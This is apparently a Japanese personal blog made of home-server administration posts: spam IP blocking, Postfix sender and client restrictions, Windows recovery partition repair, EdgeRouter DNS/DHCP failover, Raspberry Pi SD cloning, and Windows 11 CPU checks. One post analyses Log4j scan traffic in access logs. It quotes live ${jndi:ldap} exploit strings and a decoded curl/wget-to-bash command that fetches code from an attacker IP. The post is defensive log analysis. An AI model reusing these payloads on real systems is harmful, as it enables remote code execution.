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ctgserver.net からのspam攻撃

自宅サーバに spam 送信の攻撃がしつこい。

確認すると、日本国内に割り当てられたIPアドレスだけど、ctgserver.net という中国系企業に割り当てられたもの。デタラメなホストを名乗って送信しようとしている。日本国内のアドレスとはいえ悪質なので、Firewall で 202.61.144.0/20 でごっそり接続拒否としておいた。

Jan  5 21:34:41 perrine postfix/smtpd[1163220]:
   connect from unknown[202.61.149.209]
Jan  5 21:34:41 perrine postfix/smtpd[1163220]: NOQUEUE: reject:
   RCPT from unknown[202.61.149.209]: 450 4.7.25
   Client host rejected: cannot find your hostname, [202.61.149.209];
   from=<jcbjp-account-update@cnzsyc.cn> to=<xxxx@tsaitoh.net> proto=ESMTP helo=
Jan  5 21:34:41 perrine postfix/smtpd[1163220]:
   disconnect from unknown[202.61.149.209] ehlo=2 starttls=1 mail=1 rcpt=0/1 quit=1 commands=5/6

同様の攻撃が、134.122.192.0/18 “BGP CONSULTANCY PTE LTD” からも届いている。これまた、日本国内割り当ての中国系企業。この記事を見ると同じ穴のムジナっぽい。がんがん拒否しまくろう。国内IPアドレスも汚染されてきてるよなぁ…

制限しても、すぐさま別のアドレスから同じような攻撃。調べてみると大きなアドレスブロックを持ってるな。

202.61.128.0/18
134.122.192.0/18
118.107.0.0/18

Google Home mini が音量最低の英語モード

色々と活用されているGoogle Home mini だけど、子供が使おうとしたら音量が最低になって、かすかに声が聞こえると思ったら英語モードになってる。

ただ、設定を戻そうと Google Home アプリを開くけど、設定でどこを直せばいいのかさっぱり分からない。パソコンでググって設定を直したけど、どこに何があるかさっぱりわからん操作性なんとかならんのか。

SSD環境で回復ドライブの更新

SSD構成に切り替えて、古いHDDドライブを Windows 7 のバックアップに利用するようにフォーマットなどを行いながら設定を行った。これに合わせ、USBに回復ドライブを作成しようとしたら、「このPCでは回復ドライブを作成できません」、「必要ないくつかのファイルが見つかりません…」とのメッセージが表示される。

回復パーティションの再設定

こちらのページを参考に、回復パーティションの再割り当てを行い、必要なファイルを取り出せるように設定を行った。

# 以降参考ページに沿って行った作業

((( SSD内の回復パーティションを探して一時的にドライブレターを設定 )))
PS C:\Windows\system32> diskpart
DISKPART> list volume
DISKPART> select disk 0

  Volume ###  Ltr Label        Fs    Type        Size     Status     Info
  ----------  --- -----------  ----  ----------  -------  ---------  --------
  Volume 0     D                       DVD-ROM         0 B  メディアなし
  Volume 1     C   Windows      NTFS   Partition    930 GB  正常         ブート
  Volume 2         Recovery to  NTFS   Partition    900 MB  正常         非表示
  Volume 3         SYSTEM       FAT32  Partition    100 MB  正常         システム
  Volume 4     E   Backup       NTFS   Partition    930 GB  正常
  Volume 5         SYSTEM       FAT32  Partition    100 MB  正常         非表示
  Volume 6         Recovery to  NTFS   Partition    900 MB  正常         非表示
  Volume 7     F   回復           FAT32  リムーバブル        28 GB  正常

DISKPART> select disk 0
DISKPART> list partition

  Partition ###  Type                Size     Offset
  -------------  ------------------  -------  -------
  Partition 1    回復                 900 MB  1024 KB
  Partition 2    システム               100 MB   901 MB
  Partition 3    予約                  16 MB  1001 MB
  Partition 4    プライマリ              930 GB  1017 MB

DISKPART> select partition 1
DISKPART> assign letter=r:
DISKPART> exit

((( 回復パーティションを再設定 )))
PS C:\Windows\system32> reagentc.exe /setreimage /path r:\Recovery\WindowsRE /target C:\Windows
PS C:\Windows\system32> reagentc.exe /enable
PS C:\Windows\system32> reagentc.exe /info

((( 正しく設定が出来ていれば、ドライブレターの割り当てを削除 )))
PS C:\Windows\system32> diskpart
DISKPART> select disk 0
DISKPART> list partition
DISKPART> select partition 1
DISKPART> remove letter=r:
DISKPART> exit

危うく、インストールDVDとかを探す羽目になりそうだった。随分と前だし色々とバージョンアップしてるから、DVD見つかっても手間がかかりそうだったし、面倒な作業だったけど、うまく回復パーティションの設定ができたようだ。

逆引きできないホストからのメール拒否

自宅サーバのメールに、よくできた偽装メールが届く。

国別IPアドレスで接続制限しているから、それなりに拒否しているはずだが、今回の JCB を語った偽装メールは、From: が *.cn で、ホスト名は逆引きできない、国ドメインではアメリカの IP アドレスだった。

どちらにしろ、我が家に *.cn からのメールが届く段階でヤバい。

ということで、逆引きできないホストからの接続自体怪しいので、smtpd_client_restriction に、reject_unknown_client を加える。

さらに smtpd_sender_restrictions を追加。

# SMTP接続相手がRBL登録されていれば受け取らない
smtpd_client_restrictions = permit_mynetworks,
                reject_rbl_client bl.spamcop.net,
                reject_rbl_client all.rbl.jp,
                reject_unknown_client,
                permit

# 送信者が怪しいものは拒否
smtpd_sender_restrictions = permit_mynetworks,
                reject_non_fqdn_sender,
                reject_invalid_hostname,
                reject_unknown_sender_domain

Java Log4j 攻撃が自宅サーバにも来ている?

JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。

UserAgent で履歴確認

こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。

この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。

[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。

試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。

[~]# dig -x 68.183.207.73
:
;; AUTHORITY SECTION:
207.183.68.in-addr.arpa. 957    IN      SOA
  ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略)
[~]# whois kryptoslogic-cve-2021-44228.com
(略)

これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。

jndi:ldap の履歴確認

ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。

[~]# cd /var/log/apache2 
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"

すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…

わちゃ、こりゃ悪意の塊…

同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。

45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"

後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると

(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80
 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80)  # xx.xx.xx.xx は攻撃対象のIP
|bash

なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。

たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。

[~]# dig -x 45.155.205.233
(略)
;; AUTHORITY SECTION:
205.155.45.in-addr.arpa. 1258   IN      SOA
   pns21.cloudns.net. support.cloudns.net. (略)
[~]# whois cloudns.net
(無料のDNSサービスなのであまりいい情報が無い)

[~]# ping 45.155.205.233
[ping 反応なし]
[~]# nmap 45.155.205.233
[nmap 反応なし]

たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。

まとめ記事へのリンク

Log4j に関連するパッケージ

Log4j は色々な使われ方をしているようなので、一応確認。

(( log4j という名前を含むパッケージの検索 ))
[~]# dpkg -l | grep log4j
ii  liblog-log4perl-perl  1.54-1  all  Perl port of the widely popular log4j logging package
(( liblog-log4per-perl に依存しているパッケージを探す ))
[~]# aptitude purge liblog-log4perl-perl
:
以下のパッケージには満たされていない依存関係があります:
 munin : 依存: liblog-log4perl-perl インストールされません

今年買ってよかったもの

コロナで旅行もあまり行けず、今年を振り返るのは買い物ぐらいか。

パソコン関係では、今年やたらと遅くなってきたので、ちょっと速くなればと買った SSD 。予想以上に効果があった。あと1,2年は耐えられるようになったな。

{CAPTION}

あと、今年はダイエット&体力づくりで簡単な山にハイキングをするようになったけど、色々やってると下山時につま先が痛くなったり、膝が痛くなったり。きちんとつま先を固定できる靴が重要だった。とはいってもワークマンの2000円の靴だけど。んで、下山の膝の衝撃をやわらげるストック。これもアマゾンで4000円ほど。

{CAPTION}

edgerouter-x の DNS fowarding 設定

Edgerouterで キャッシュDNS を動かす

自宅サーバが落ちた時のDNSトラブル対策で、自宅内で運用しているEdgerouter-xをDNSの予備として稼働させるための設定。
options の欄は dnsmasq.conf の設定を読めと書いてあったので、ググりながら設定してみた。

ubnt@ubnt# show service dns forwarding
 cache-size 1200
 listen-on switch0
 name-server 8.8.8.8
 name-server 8.8.4.4
 name-server 192.168.xx.xx                             ## ルータのDNSを参照
 options server=/tsaitoh.takefu.fukui.jp/192.168.xx.yy ## 自宅内の正引き
 options server=/tsaitoh.net/192.168.xx.yy             ## 自宅ドメイン正引き
 options server=/168.192.in-addr.arpa/192.168.xx.yy    ## 自宅内の逆引き

自宅内のDHCPでは、自宅内DNSと、edgerouter-x を参照するように既に設定されている。
試しにメインサーバで “systemctl stop named” で DNS を停止した状態で、パソコンでブラウザを操作したけど問題なくWeb を使える。自宅内のホスト名もキャッシュの範囲でちゃんと動くかな。

DHCP failover を Edgeroute で運用

DNSの設定を見直していたら、Edgerouter-x には、DHCP の failover 機能(2台目のDHCP機能) の設定がある。たまにメインサーバが落ちた時に、自宅ネットワーク環境が一切動かなくなるので、Edgerouter で DHCP failover を運用してみる。

ubnt@ubnt# show service dhcp-server
 disabled false
 :
 shared-network-name localnet {
     :
     subnet 192.168.xx.0/24 {
         default-router 192.168.xx.xx
         dns-server 192.168.xx.xx
         dns-server 192.168.xx.yy
         domain-name tsaitoh.takefu.fukui.jp
         failover {
             local-address 192.168.xx.yy
             name edgerouterx
             peer-address 192.168.xx.xx
             status secondary
         }

raspberry-pi のディスク容量増

自宅内の色々な処理(温湿度モニタリング, 家電リモコン制御, homebridge)をさせている、Raspberry-Pi のディスク容量(8GB) の容量が不足してきた。大した処理はしていないし、不要なパッケージは消していたけど、homebridge などを使っていたりで、ギリギリになってきた。

Raspberry Pi の SDD交換&拡張

しかたがないので、32GB SDD を買ってきて、イメージファイルでコピーを行う。

((( 元のraspberry-piのイメージ吸い出し )))
$ sudo dd bs=4M if=/dev/sdd of=~/rpi.img
((( 新しいSDDにイメージを書き戻し )))
$ sudo dd bs=4M if=~/rpi.img of=/dev/sdd
((( 新しいSDDでraspberry-piを起動し ))) 
$ sudo raspi-config --expand-rootfs

Core i5 第7世代はWindows11はNG

TPMのBIOS設定

自宅のWindowsマシン、Win11はTPM2.0非対応でダメと思ってたけど、BIOS設定で対応できる?あれ?あらためて確認すると、TPM2.0使える状態じゃね?
{CAPTION}

{CAPTION}

tpm.msc コマンドを実行したら、TPM2.0 の表示がある。あれ?以前確認した時は、Windows11 使えないという表示だったはずだが…もう一度確認してみるか。

組織が管理しています

確認を行うと「このPCでの更新プログラムは組織が管理しています」との表示。学校アカウントで Microsoft 365 をインストールしたことによる影響か。

こちらのサイトでの解説に従って、管理を外す。んで、改めてチェック。

Core i5 第7世代は Windows11 対象外

ぐはっ、Core i5は、第8世代以降か….

CPU, M/B の確認

CPUの差し替えも想定して、CPU-Z というソフトで CPU,MotherBoard の確認。

“Core Socket 1151 LGA” で検索すると、第8世代以降なら、Core i5 9600KF (Coffee Lake-S Refresh) あたりが、差し替え候補かな。先日、SSD化で 1.5 万ほど投資したし、2万円(価格.com)~2.8万円(Amazon) をさらに追加投資するかだな。TDP 95W だと、発熱も心配だな。

TDP を現行の 65W に合わせるなら、Core i5 9400F BOX(2.9GHz TDP 65W)かな。現行 Clock が 3GHz で若干下がるけど、Core 数が 4個 → 6個 に増えるから問題がないかな。1.9万円(価格.com)でちょっと安くなるし。

(2021/11/19追記)

心配だったので、通販業者さんの質問で「ファン・ヒートシンク」ついてますよね?と確認したら、ついてるけど、グラフィック機能が無いから、ビデオカードが必要って言われた。あぶねー、発注しなくって良かった。

となると、Core i7 9700 BOX かな。3.6万か…
Core i5 9400 BOXなら、2.3万か…

bind9-dnsutils の nslookup でデバッグ表示

DNS関連の動作確認で動かしている script が変な表示を出すようになっている。

原因を探していくと、/usr/bin/nslookup コマンドで、検索オプションをつけると、デバッグ出力が表示されているみたい。出力先も標準エラー出力となっている。10/25リリースの 9.17.19-1 の問題??

$ ls -l /usr/bin/nslooup
-rwxr-xr-x 1 root root 105120 10月 25 21:29 /usr/bin/nslookup
$ dpkg -l | grep bind9-dnsutils
ii bind9-dnsutils 1:9.17.19-1 
$ nslookup -type=a tsaitoh.net
main parsing tsaitoh.net
addlookup()
make_empty_lookup()
make_empty_lookup() = 0x7ffa08b49000->references = 1

どうも、脆弱性問題が発生した対応時の debug モード付がリリースされたんじゃないのか?

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